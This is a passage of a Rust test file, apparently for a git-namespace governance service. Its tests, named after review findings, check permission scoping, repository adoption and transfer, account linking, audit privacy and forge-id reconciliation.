async fn finding_4_the_console_reads_refuse_a_context_scoped_admin() {
let f = fixture().await;
bind_manual(&f).await;
let scoped = Party::new();
store_acl_entry(
&f.vtc.state.acl_ks,
&VtcAclEntry {
did: scoped.did.clone(),
admin: crate::acl::legacy_seed_authority(&VtcRole::Admin, &["ops"]),
delegated_by: None,
role: VtcRole::Admin,
label: None,
created_at: 0,
created_by: "test".into(),
updated_at: None,
updated_by: None,
expires_at: None,
resource_grants: Vec::new(),
label_set_by_subject: false,
suspension: None,
},
)
.await
.unwrap();
crate::members::store_member(
&f.vtc.state.members_ks,
&crate::members::Member::fresh(&scoped.did),
)
.await
.unwrap();
for task in COMMUNITY_ADMIN_READS {
let out = send(&f.vtc.state, &scoped, task, json!({})).await;
assert!(
code(&out).ends_with(":notCommunityAdministrator"),
"{task}: {}",
code(&out)
);
}
for task in COMMUNITY_ADMIN_READS {
ok(&send(&f.vtc.state, &f.admin, task, json!({})).await);
}
}
#[tokio::test]
async fn finding_5_under_the_default_config_an_owner_adopts_their_own_reservation() {
let f = fixture().await;
assert!(GitNsConfig::default().elevated_requires_admin);
let ns = bind_manual(&f).await;
ok(&grant(
&f,
&f.admin,
&f.bob.did,
"git.repo.create",
"github.com/acme",
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public" }),
)
.await);
let body = ok(&send(
&f.vtc.state,
&f.bob,
"repo/adopt",
json!({ "resource": "github.com/acme/gadgets", "owners": [f.bob.did] }),
)
.await);
assert_eq!(body["repo"]["state"], "active");
let out = send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": "github.com/acme/gadgets", "to": f.carol.did }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
}
async fn link(f: &Fixture, who: &Party) -> String {
ok(&send(
&f.vtc.state,
who,
"account/link",
json!({ "forge": "github.com" }),
)
.await)["linkId"]
.as_str()
.unwrap()
.to_string()
}
async fn link_state(f: &Fixture, who: &Party, id: String) -> Value {
ok(&send(
&f.vtc.state,
who,
"account/link-status",
json!({ "linkId": id }),
)
.await)["state"]
.clone()
}
#[tokio::test]
async fn finding_6_account_linked_is_refused_on_another_forge_or_after_expiry() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
let last_job = |f: &Fixture| f.bridge.jobs.lock().unwrap().last().unwrap().1["jobId"].clone();
let id = link(&f, &f.bob).await;
let out = event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": last_job(&f), "account": { "forge": "codeberg.org", "id": "1", "login": "bob" } }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
assert_eq!(link_state(&f, &f.bob, id).await, "failed");
let id = link(&f, &f.carol).await;
let mut attempt = store::get_link(&f.vtc.state.git_ns.ks, &id)
.await
.unwrap()
.unwrap();
attempt.expires_at = "2020-01-01T00:00:00Z".parse().unwrap();
store::put_link(&f.vtc.state.git_ns.ks, &attempt)
.await
.unwrap();
let out = event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": last_job(&f), "account": { "forge": "github.com", "id": "2", "login": "carol" } }),
)
.await;
assert_eq!(code(&out), "permissionDenied");
assert_eq!(link_state(&f, &f.carol, id).await, "expired");
let accounts = super::bridge::linked_accounts(&f.vtc.state).await.unwrap();
assert!(accounts.is_empty());
crate::members::storage::edit_member(&f.vtc.state.members_ks, &f.bob.did, |m| {
m.extensions = json!({ "note": "kept" });
true
})
.await
.unwrap();
let id = link(&f, &f.bob).await;
ok(&event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": last_job(&f), "account": { "forge": "github.com", "id": "3", "login": "bob" } }),
)
.await);
assert_eq!(link_state(&f, &f.bob, id).await, "linked");
let bob = crate::members::get_member(&f.vtc.state.members_ks, &f.bob.did)
.await
.unwrap()
.unwrap();
assert_eq!(bob.extensions["note"], "kept");
assert_eq!(bob.extensions["forges"]["github.com"]["login"], "bob");
}
#[tokio::test]
async fn finding_7_an_expiring_co_admin_or_co_owner_does_not_count_toward_the_last() {
let f = fixture().await;
let res = active_repo(&f).await;
let later = "2099-01-01T00:00:00Z";
ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.ns.admin", "resource": "github.com/acme", "expiresAt": later }),
)
.await);
let out = send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.admin.did, "right": "git.ns.admin", "resource": "github.com/acme" }),
)
.await;
assert_eq!(code(&out), "git-ns:lastAdmin");
ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.repo.own", "resource": res, "expiresAt": later }),
)
.await);
let out = send(
&f.vtc.state,
&f.admin,
"right/revoke",
json!({ "subject": f.bob.did, "right": "git.repo.own", "resource": res }),
)
.await;
assert_eq!(code(&out), "git-ns:lastOwner");
}
#[tokio::test]
async fn finding_8_departure_audit_rows_carry_no_plaintext_departed_did() {
let f = fixture().await;
let res = active_repo(&f).await;
ok(&grant(&f, &f.bob, &f.carol.did, "git.commit.sign", &res).await);
let before: std::collections::BTreeSet<Vec<u8>> = f
.vtc
.state
.audit_ks
.prefix_iter_raw(Vec::new())
.await
.unwrap()
.into_iter()
.map(|(k, _)| k)
.collect();
crate::acl::delete_acl_entry(&f.vtc.state.acl_ks, &f.bob.did)
.await
.unwrap();
assert!(super::lifecycle::sweep(&f.vtc.state).await.unwrap());
let new: Vec<Value> = f
.vtc
.state
.audit_ks
.prefix_iter_raw(Vec::new())
.await
.unwrap()
.into_iter()
.filter(|(k, _)| !before.contains(k))
.map(|(_, v)| serde_json::from_slice(&v).unwrap())
.collect();
let (review, new): (Vec<Value>, Vec<Value>) = new
.into_iter()
.partition(|r| r["event"]["type"] == "TaskConsentRecorded");
assert!(
review
.iter()
.any(|r| r["event"]["data"]["task"] == "urn:openvtc:vtc:acl:grants-review"),
"the grant Bob issued goes to review"
);
assert!(new.len() >= 2, "the revocation and the orphaning");
for row in &new {
assert!(
!row.to_string().contains(&f.bob.did),
"the departed member's DID in plaintext: {row}"
);
assert_eq!(row["actor_did_plain"], TEST_VTC_DID, "{row}");
}
}
#[tokio::test]
async fn finding_9a_create_and_adopt_wait_for_an_old_names_withdrawal() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
let registry = MockRegistryClient::new();
reconcile(&f, ®istry).await;
ok(&event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "100", "from": "github.com/acme/widgets", "to": "github.com/acme/widgets-core" }),
)
.await);
let create = json!({ "namespace": ns, "name": "widgets", "visibility": "public", "owners": [f.bob.did] });
let out = send(&f.vtc.state, &f.admin, "repo/create", create.clone()).await;
assert_eq!(code(&out), "unavailable");
let out = send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.carol.did] }),
)
.await;
assert_eq!(code(&out), "unavailable");
reconcile(&f, ®istry).await;
ok(&send(&f.vtc.state, &f.admin, "repo/create", create).await);
}
#[tokio::test]
async fn finding_9b_a_later_installation_report_clears_installation_removed() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&event(&f, &ns, json!({ "type": "installationRemoved" })).await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(snap.namespace(&ns).unwrap().installation_removed);
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/event",
json!({
"namespace": ns,
"event": { "type": "repoDeleted", "forgeId": "999", "resource": "github.com/acme/nothing" },
"ext": { "org.openvtc.git-ns": { "namespace": { "installationId": "55120034" } } },
}),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(!snap.namespace(&ns).unwrap().installation_removed);
}
#[tokio::test]
async fn finding_9c_a_result_racing_the_send_survives_the_write_back() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "gadgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
*f.bridge.race.lock().unwrap() = Some(f.vtc.state.git_ns.jobs_ks.clone());
super::bridge::dispatch_due(&f.vtc.state).await.unwrap();
let create = super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.find(|j| j.kind == super::bridge::JobKind::CreateRepo)
.unwrap();
assert_eq!(create.state, super::bridge::JobState::Succeeded);
assert!(create.result.is_some());
}
#[tokio::test]
async fn finding_9e_detached_repositories_of_an_unbound_namespace_are_hidden_from_members() {
let f = fixture().await;
let res = active_repo(&f).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.repo_at(&res).unwrap().namespace_id.clone();
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
let bob = ok(&send(&f.vtc.state, &f.bob, "view", json!({})).await);
assert_eq!(bob["repos"], json!([]));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let admin = super::view::build(&snap, super::view::Viewer::Administrator, None);
assert_eq!(admin["repos"].as_array().unwrap().len(), 1);
}
#[tokio::test]
async fn finding_9g_an_external_signer_resigns_under_the_default_policy() {
let f = fixture().await;
let res = active_repo(&f).await;
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let scope = Scope::Repo(snap.repo_at(&res).unwrap().id.clone());
let mut set = store::get_rights(&f.vtc.state.git_ns, &scope)
.await
.unwrap();
let mut row = set.rows[0].clone();
row.subject = f.stranger.did.clone();
row.right = super::model::Right::CommitSign;
row.subject_was_member = false;
set.rows.push(row);
store::put_rights(&f.vtc.state.git_ns, &scope, &set)
.await
.unwrap();
let body = ok(&send(
&f.vtc.state,
&f.stranger,
"right/revoke",
json!({ "subject": f.stranger.did, "right": "git.commit.sign", "resource": res }),
)
.await);
assert_eq!(body["revoked"]["subject"], json!(f.stranger.did));
}
#[tokio::test]
async fn unbind_hands_role_derived_grants_back_to_the_hook_relay_at_once() {
let f = fixture().await;
let res = active_repo(&f).await;
map_members_to(&f, &res).await;
let registry = MockRegistryClient::new();
reconcile(&f, ®istry).await;
let carol = projection::tuple_key(&f.carol.did, "git.commit.sign", &res);
let bob_own = projection::tuple_key(&f.bob.did, "git.repo.own", &res);
assert!(registry.trust_records().await.contains_key(&carol));
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let ns = snap.repo_at(&res).unwrap().namespace_id.clone();
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
let mut queued: Vec<(String, String)> = crate::hooks::list_jobs(&f.vtc.state.hooks_queue_ks)
.await
.unwrap()
.into_iter()
.filter(|j| j.op == crate::hooks::HookOp::Grant)
.map(|j| (j.subject_did, j.resource))
.collect();
queued.sort();
let mut expected = vec![
(f.bob.did.clone(), res.clone()),
(f.carol.did.clone(), res.clone()),
];
expected.sort();
assert_eq!(queued, expected);
let report = reconcile(&f, ®istry).await;
assert_eq!(report.handed_back, 2, "bob's and carol's commit rights");
let records = registry.trust_records().await;
assert!(records.contains_key(&carol));
assert!(!records.contains_key(&bob_own));
assert!(
!projection::published(&f.vtc.state)
.await
.unwrap()
.contains_key(&carol),
"no longer the projection's"
);
let again = reconcile(&f, ®istry).await;
assert_eq!((again.deleted, again.handed_back), (0, 0));
assert!(registry.trust_records().await.contains_key(&carol));
}
fn rows_at(snap: &Snapshot, resource: &str) -> Vec<super::model::Repo> {
snap.repos
.iter()
.filter(|r| r.resource == resource)
.cloned()
.collect()
}
#[tokio::test]
async fn r1_a_name_reused_after_a_delete_is_recorded_once_and_adopted_as_the_new_repository() {
for run in 0..8 {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&event(
&f,
&ns,
json!({ "type": "repoDeleted", "forgeId": "100", "resource": "github.com/acme/widgets" }),
)
.await);
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": "github.com/acme/widgets" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let at = rows_at(&snap, "github.com/acme/widgets");
assert_eq!(at.len(), 1, "run {run}: {at:?}");
assert_eq!(at[0].forge_id.as_deref(), Some("200"), "run {run}");
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.carol.did] }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let repo = snap.repo_at("github.com/acme/widgets").unwrap().clone();
assert_eq!(repo.state, RepoState::Active, "run {run}");
assert_eq!(repo.forge_id.as_deref(), Some("200"), "run {run}");
ok(&event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "100", "from": "github.com/acme/widgets", "to": "github.com/acme/widgets-old" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
assert!(
snap.repo_at("github.com/acme/widgets-old").is_none(),
"run {run}"
);
assert!(
snap.rows(&Scope::Repo(repo.id.clone()))
.iter()
.any(|r| r.subject == f.carol.did),
"run {run}"
);
}
}
#[tokio::test]
async fn r1_b_after_unbind_and_rebind_a_name_is_recorded_once() {
for (run, fid) in ["100", "200", "100", "200", "100", "200"]
.into_iter()
.enumerate()
{
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
let ns = bind_bridge(&f).await;
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": fid, "resource": "github.com/acme/widgets" }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let at = rows_at(&snap, "github.com/acme/widgets");
assert_eq!(at.len(), 1, "run {run}: {at:?}");
assert_eq!(at[0].forge_id.as_deref(), Some(fid), "run {run}");
assert_eq!(at[0].state, RepoState::Unmanaged, "run {run}");
assert_eq!(at[0].namespace_id, ns, "run {run}");
assert!(
snap.rows(&Scope::Repo(at[0].id.clone())).is_empty(),
"run {run}"
);
}
}
#[tokio::test]
async fn r1_adopting_a_detached_repository_forgets_its_old_forge_id() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
adopt_with_forge_id(&f, "github.com/acme/widgets", "100").await;
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
bind_bridge(&f).await;
ok(&send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": "github.com/acme/widgets", "owners": [f.carol.did] }),
)
.await);
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
let at = rows_at(&snap, "github.com/acme/widgets");
assert_eq!(at.len(), 1);
assert_eq!(at[0].state, RepoState::Active);
assert_eq!(at[0].forge_id, None);
}
#[tokio::test]
async fn r3_a_removal_and_an_account_link_are_serialised_on_the_member_row() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
let _ = link(&f, &f.bob).await;
let job = f.bridge.jobs.lock().unwrap().last().unwrap().1["jobId"].clone();
let held = crate::members::storage::edit_lock().await;
let state = f.vtc.state.clone();
let bob = f.bob.did.clone();
let removal = tokio::spawn(async move {
crate::ceremony::apply(
&state,
crate::ceremony::EffectPlan::Depart {
subject: bob,
disposition: Some("tombstone".into()),
},
TEST_VTC_DID,
)
.await
.map(|_| ())
});
tokio::time::sleep(Duration::from_millis(200)).await;
let m = crate::members::get_member(&f.vtc.state.members_ks, &f.bob.did)
.await
.unwrap()
.unwrap();
assert!(
m.removed_at.is_none(),
"the removal waits for the edit lock rather than writing past it"
);
drop(held);
removal.await.unwrap().unwrap();
let _ = event(
&f,
&ns,
json!({ "type": "accountLinked", "jobId": job, "account": { "forge": "github.com", "id": "9", "login": "bob" } }),
)
.await;
let m = crate::members::get_member(&f.vtc.state.members_ks, &f.bob.did)
.await
.unwrap()
.unwrap();
assert!(
m.removed_at.is_some(),
"the link did not resurrect the member"
);
assert!(m.extensions.get("forges").is_none());
}
async fn own_rows(f: &Fixture, res: &str) -> Vec<super::model::RightRow> {
let snap = Snapshot::load(&f.vtc.state.git_ns).await.unwrap();
snap.rows(&Scope::Repo(snap.repo_at(res).unwrap().id.clone()))
.iter()
.filter(|r| r.right == super::model::Right::RepoOwn)
.cloned()
.collect()
}
#[tokio::test]
async fn r4_a_transfer_leaves_the_recipient_as_permanent_an_owner_as_the_caller_was() {
let f = fixture_with(GitNsConfig {
elevated_requires_admin: false,
..GitNsConfig::default()
})
.await;
let res = active_repo(&f).await;
let later = "2099-01-01T00:00:00Z";
ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.carol.did, "right": "git.repo.own", "resource": res, "expiresAt": later }),
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": f.carol.did }),
)
.await);
let rows = own_rows(&f, &res).await;
assert!(rows.iter().all(|r| r.subject != f.bob.did));
let carol: Vec<_> = rows.iter().filter(|r| r.subject == f.carol.did).collect();
assert_eq!(carol.len(), 1);
assert_eq!(carol[0].expires_at, None);
ok(&send(
&f.vtc.state,
&f.admin,
"right/grant",
json!({ "subject": f.bob.did, "right": "git.repo.own", "resource": res, "expiresAt": later }),
)
.await);
ok(&send(
&f.vtc.state,
&f.bob,
"repo/transfer",
json!({ "resource": res, "to": f.admin.did }),
)
.await);
let rows = own_rows(&f, &res).await;
let admin: Vec<_> = rows.iter().filter(|r| r.subject == f.admin.did).collect();
assert_eq!(admin.len(), 1);
assert_eq!(
admin[0].expires_at,
Some(later.parse().unwrap()),
"the recipient inherits the caller's expiry"
);
}
mod r1_probes {
use super::super::model::{Repo, Right};
use super::*;
const X: &str = "github.com/acme/widgets";
const Z: &str = "github.com/acme/widgets-old";
fn live_at(snap: &Snapshot, res: &str) -> Vec<Repo> {
snap.repos
.iter()
.filter(|r| r.resource == res && r.state != RepoState::Detached)
.cloned()
.collect()
}
fn all_at(snap: &Snapshot, res: &str) -> Vec<Repo> {
snap.repos
.iter()
.filter(|r| r.resource == res)
.cloned()
.collect()
}
fn rng(seed: &mut u64) -> u64 {
*seed = seed
.wrapping_mul(6364136223846793005)
.wrapping_add(1442695040888963407);
*seed >> 33
}
async fn snap(f: &Fixture) -> Snapshot {
Snapshot::load(&f.vtc.state.git_ns).await.unwrap()
}
async fn answer_latest_inspect(f: &Fixture, res: &str, fid: &str) {
let mut jobs: Vec<_> = super::super::bridge::list_jobs(&f.vtc.state.git_ns.jobs_ks)
.await
.unwrap()
.into_iter()
.filter(|j| {
j.kind == super::super::bridge::JobKind::Inspect
&& j.payload["repo"] == res
&& j.result.is_none()
})
.collect();
jobs.sort_by_key(|j| j.created_at);
let j = jobs.last().expect("an inspect job");
ok(&send(
&f.vtc.state,
&f.bridge_party,
"bridge/result",
json!({
"jobId": j.job_id, "outcome": "succeeded",
"repo": { "resource": res, "forgeId": fid },
"steps": [{ "step": "requiredCheck", "outcome": "unchanged" }],
}),
)
.await);
}
async fn adopt(f: &Fixture, res: &str, owner: &Party) -> TrustTaskOutcome {
send(
&f.vtc.state,
&f.admin,
"repo/adopt",
json!({ "resource": res, "owners": [owner.did] }),
)
.await
}
fn carol_holds(s: &Snapshot, id: &str, carol: &str) -> bool {
s.rows(&Scope::Repo(id.to_string()))
.iter()
.any(|r| r.subject == carol && r.right == Right::RepoOwn)
}
#[tokio::test]
async fn p_r1_seq_a_loop() {
for run in 0..20u64 {
let mut seed = run * 7919 + 13;
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "100").await;
let del = match rng(&mut seed) % 3 {
0 => json!({ "type": "repoDeleted", "forgeId": "100", "resource": X }),
1 => json!({ "type": "repoDeleted", "resource": X, "forgeId": "100" }),
_ => json!({ "resource": X, "forgeId": "100", "type": "repoDeleted" }),
};
let create = json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X });
let order = rng(&mut seed) % 2;
if order == 0 {
ok(&event(&f, &ns, del.clone()).await);
ok(&event(&f, &ns, create.clone()).await);
} else {
ok(&event(&f, &ns, create.clone()).await);
ok(&event(&f, &ns, del.clone()).await);
}
if rng(&mut seed).is_multiple_of(2) {
ok(&event(&f, &ns, create.clone()).await);
}
let s = snap(&f).await;
let live = live_at(&s, X);
assert_eq!(
live.len(),
1,
"run {run} order {order} del {del}: {:?}",
all_at(&s, X)
);
assert_eq!(live[0].forge_id.as_deref(), Some("200"), "run {run}");
assert!(s.repos.iter().all(|r| r.forge_id.as_deref() != Some("100") || r.state == RepoState::Detached), "run {run}");
ok(&adopt(&f, X, &f.carol).await);
let s = snap(&f).await;
let repo = s.repo_at(X).unwrap().clone();
assert_eq!(
repo.forge_id.as_deref(),
Some("200"),
"run {run}: adopt bound stale {:?}",
all_at(&s, X)
);
assert_eq!(live_at(&s, X).len(), 1, "run {run}");
let _ = event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "100", "from": X, "to": Z }),
)
.await;
let s = snap(&f).await;
assert!(
s.repo_at(Z).is_none(),
"run {run}: moved {:?}",
s.repo_at(Z)
);
let now = s.repo_at(X).unwrap();
assert_eq!(now.id, repo.id, "run {run}");
assert!(carol_holds(&s, &repo.id, &f.carol.did), "run {run}");
}
}
#[tokio::test]
async fn p_r1_seq_b_loop() {
for run in 0..20u64 {
let mut seed = run * 104729 + 7;
let f = fixture().await;
let mut ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "100").await;
let cycles = 1 + rng(&mut seed) % 3;
let mut cur = "100".to_string();
for c in 0..cycles {
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
ns = bind_bridge(&f).await;
let fid = if rng(&mut seed).is_multiple_of(2) {
"100".to_string()
} else {
format!("{}", 200 + run * 10 + c)
};
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": fid, "resource": X }),
)
.await);
let s = snap(&f).await;
assert_eq!(
all_at(&s, X).len(),
1,
"run {run} c {c}: {:?}",
all_at(&s, X)
);
assert_eq!(live_at(&s, X)[0].forge_id.as_deref(), Some(fid.as_str()));
ok(&adopt(&f, X, &f.carol).await);
let s = snap(&f).await;
let r = s.repo_at(X).unwrap().clone();
assert_eq!(r.forge_id.as_deref(), Some(fid.as_str()), "run {run} c {c}");
assert_eq!(live_at(&s, X).len(), 1);
cur = fid;
}
let s = snap(&f).await;
let repo = s.repo_at(X).unwrap().clone();
if cur != "100" {
let _ = event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "100", "from": X, "to": Z }),
)
.await;
let s = snap(&f).await;
assert!(
s.repo_at(Z).is_none(),
"run {run}: rename of 100 moved {:?}",
s.repo_at(Z)
);
assert!(carol_holds(&s, &repo.id, &f.carol.did), "run {run}");
}
}
}
#[tokio::test]
async fn p_r1_adopt_detached_then_rename_old_id_before_inspection() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "100").await;
ok(&send(
&f.vtc.state,
&f.admin,
"namespace/unbind",
json!({ "namespace": ns }),
)
.await);
let ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.carol).await);
let s = snap(&f).await;
let id = s.repo_at(X).unwrap().id.clone();
assert_eq!(s.repo_at(X).unwrap().forge_id, None);
let _ = event(
&f,
&ns,
json!({ "type": "repoRenamed", "forgeId": "100", "from": X, "to": Z }),
)
.await;
let s = snap(&f).await;
assert!(
s.repo_at(Z).is_none(),
"a row with no forge id is never moved by a rename"
);
let at = s.repo_at(X).unwrap();
assert_eq!(at.id, id);
assert_eq!(at.forge_id, None);
assert!(carol_holds(&s, &id, &f.carol.did));
}
#[tokio::test]
async fn p_r1_created_over_pending_create() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "widgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
let s = snap(&f).await;
assert_eq!(s.repo_at(X).unwrap().state, RepoState::PendingCreate);
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "300", "resource": X }),
)
.await);
let s = snap(&f).await;
let at = all_at(&s, X);
assert_eq!(at.len(), 1, "{at:?}");
assert_eq!(at[0].state, RepoState::PendingCreate);
assert_eq!(at[0].forge_id, None);
}
#[tokio::test]
async fn p_r1_created_by_id_over_pending_create() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
let y = "github.com/acme/other";
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": y }),
)
.await);
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "widgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await);
let s = snap(&f).await;
let at = live_at(&s, X);
assert_eq!(at.len(), 1, "two live rows at X: {at:?}");
}
#[tokio::test]
async fn p_r1_created_by_id_over_forge_less_adopted_row() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
let y = "github.com/acme/other";
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": y }),
)
.await);
ok(&adopt(&f, X, &f.carol).await); ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await);
let s = snap(&f).await;
let at = live_at(&s, X);
assert_eq!(at.len(), 1, "two live rows at X: {at:?}");
}
#[tokio::test]
async fn p_r1_row_by_forge_id_is_moved() {
let f = fixture().await;
let ns = bind_bridge(&f).await;
let y = "github.com/acme/other";
ok(&adopt(&f, y, &f.carol).await);
answer_latest_inspect(&f, y, "200").await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "300").await;
let s = snap(&f).await;
let yid = s.repo_at(y).unwrap().id.clone();
let xid = s.repo_at(X).unwrap().id.clone();
ok(&event(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": X }),
)
.await);
let s = snap(&f).await;
assert!(s.repo_at(y).is_none(), "{:?}", s.repo_at(y));
let at = all_at(&s, X);
assert_eq!(at.len(), 1, "{at:?}");
assert_eq!(at[0].id, yid);
assert_eq!(at[0].forge_id.as_deref(), Some("200"));
assert!(carol_holds(&s, &yid, &f.carol.did));
assert!(s.repos.iter().all(|r| r.id != xid), "300 folded");
assert!(s.rows(&Scope::Repo(xid)).is_empty());
}
#[tokio::test]
async fn an_inspection_does_not_give_a_second_row_a_forge_id_already_held() {
let f = fixture().await;
let _ns = bind_bridge(&f).await;
let y = "github.com/acme/other";
ok(&adopt(&f, y, &f.carol).await);
answer_latest_inspect(&f, y, "200").await;
ok(&adopt(&f, X, &f.bob).await);
answer_latest_inspect(&f, X, "200").await;
let s = snap(&f).await;
assert_eq!(s.repo_at(X).unwrap().forge_id, None);
assert!(
s.repo_at(X)
.unwrap()
.last_error
.as_deref()
.unwrap()
.contains("200")
);
assert_eq!(
s.repos
.iter()
.filter(|r| r.forge_id.as_deref() == Some("200"))
.count(),
1
);
}
#[tokio::test]
async fn two_governed_rows_at_one_name_are_refused_not_guessed() {
let f = fixture().await;
let _ns = bind_bridge(&f).await;
ok(&adopt(&f, X, &f.bob).await);
let s = snap(&f).await;
let mut twin = s.repo_at(X).unwrap().clone();
twin.id = "repo_twin".into();
store::put_repo(&f.vtc.state.git_ns.ks, &twin)
.await
.unwrap();
let s = snap(&f).await;
assert!(s.lookup_repo(X).is_err());
assert!(s.repo_at(X).is_none());
let out = grant(&f, &f.admin, &f.carol.did, "git.commit.sign", X).await;
assert_eq!(code(&out), "unavailable");
let out = adopt(&f, X, &f.carol).await;
assert_eq!(code(&out), "unavailable");
}
const Y: &str = "github.com/acme/other";
fn live_with_fid(s: &Snapshot, fid: &str) -> Vec<Repo> {
s.repos
.iter()
.filter(|r| r.state != RepoState::Detached && r.forge_id.as_deref() == Some(fid))
.cloned()
.collect()
}
fn assert_invariants(s: &Snapshot, ctx: &str) {
let mut names = std::collections::BTreeMap::<String, usize>::new();
let mut fids = std::collections::BTreeMap::<String, usize>::new();
for r in s.repos.iter().filter(|r| r.state != RepoState::Detached) {
*names.entry(r.resource.clone()).or_default() += 1;
if let Some(f) = &r.forge_id {
*fids.entry(f.clone()).or_default() += 1;
}
}
assert!(
names.values().all(|n| *n <= 1),
"{ctx}: two live rows at a name {:?}",
s.repos
);
assert!(
fids.values().all(|n| *n <= 1),
"{ctx}: two live rows with a forge id {:?}",
s.repos
);
}
async fn ev(f: &Fixture, ns: &str, v: Value) {
ok(&event(f, ns, v).await);
}
#[tokio::test]
async fn rc_a_over_reservation_loop() {
for run in 0..20u64 {
let mut seed = run * 31 + 5;
let f = fixture().await;
let ns = bind_bridge(&f).await;
let adopted_y = rng(&mut seed).is_multiple_of(2);
if adopted_y {
ok(&adopt(&f, Y, &f.carol).await);
answer_latest_inspect(&f, Y, "200").await;
} else {
ev(
&f,
&ns,
json!({ "type": "repoCreatedUnmanaged", "forgeId": "200", "resource": Y }),
)
.await;
}
let before_y = snap(&f).await.repo_at(Y).unwrap().clone();
ok(&send(
&f.vtc.state,
&f.admin,
"repo/create",
json!({ "namespace": ns, "name": "widgets", "visibility": "public", "owners": [f.bob.did] }),
)
.await);
let reps = 1 + rng(&mut seed) % 2;
for _ in 0..reps {
ev(
&f,
&ns,
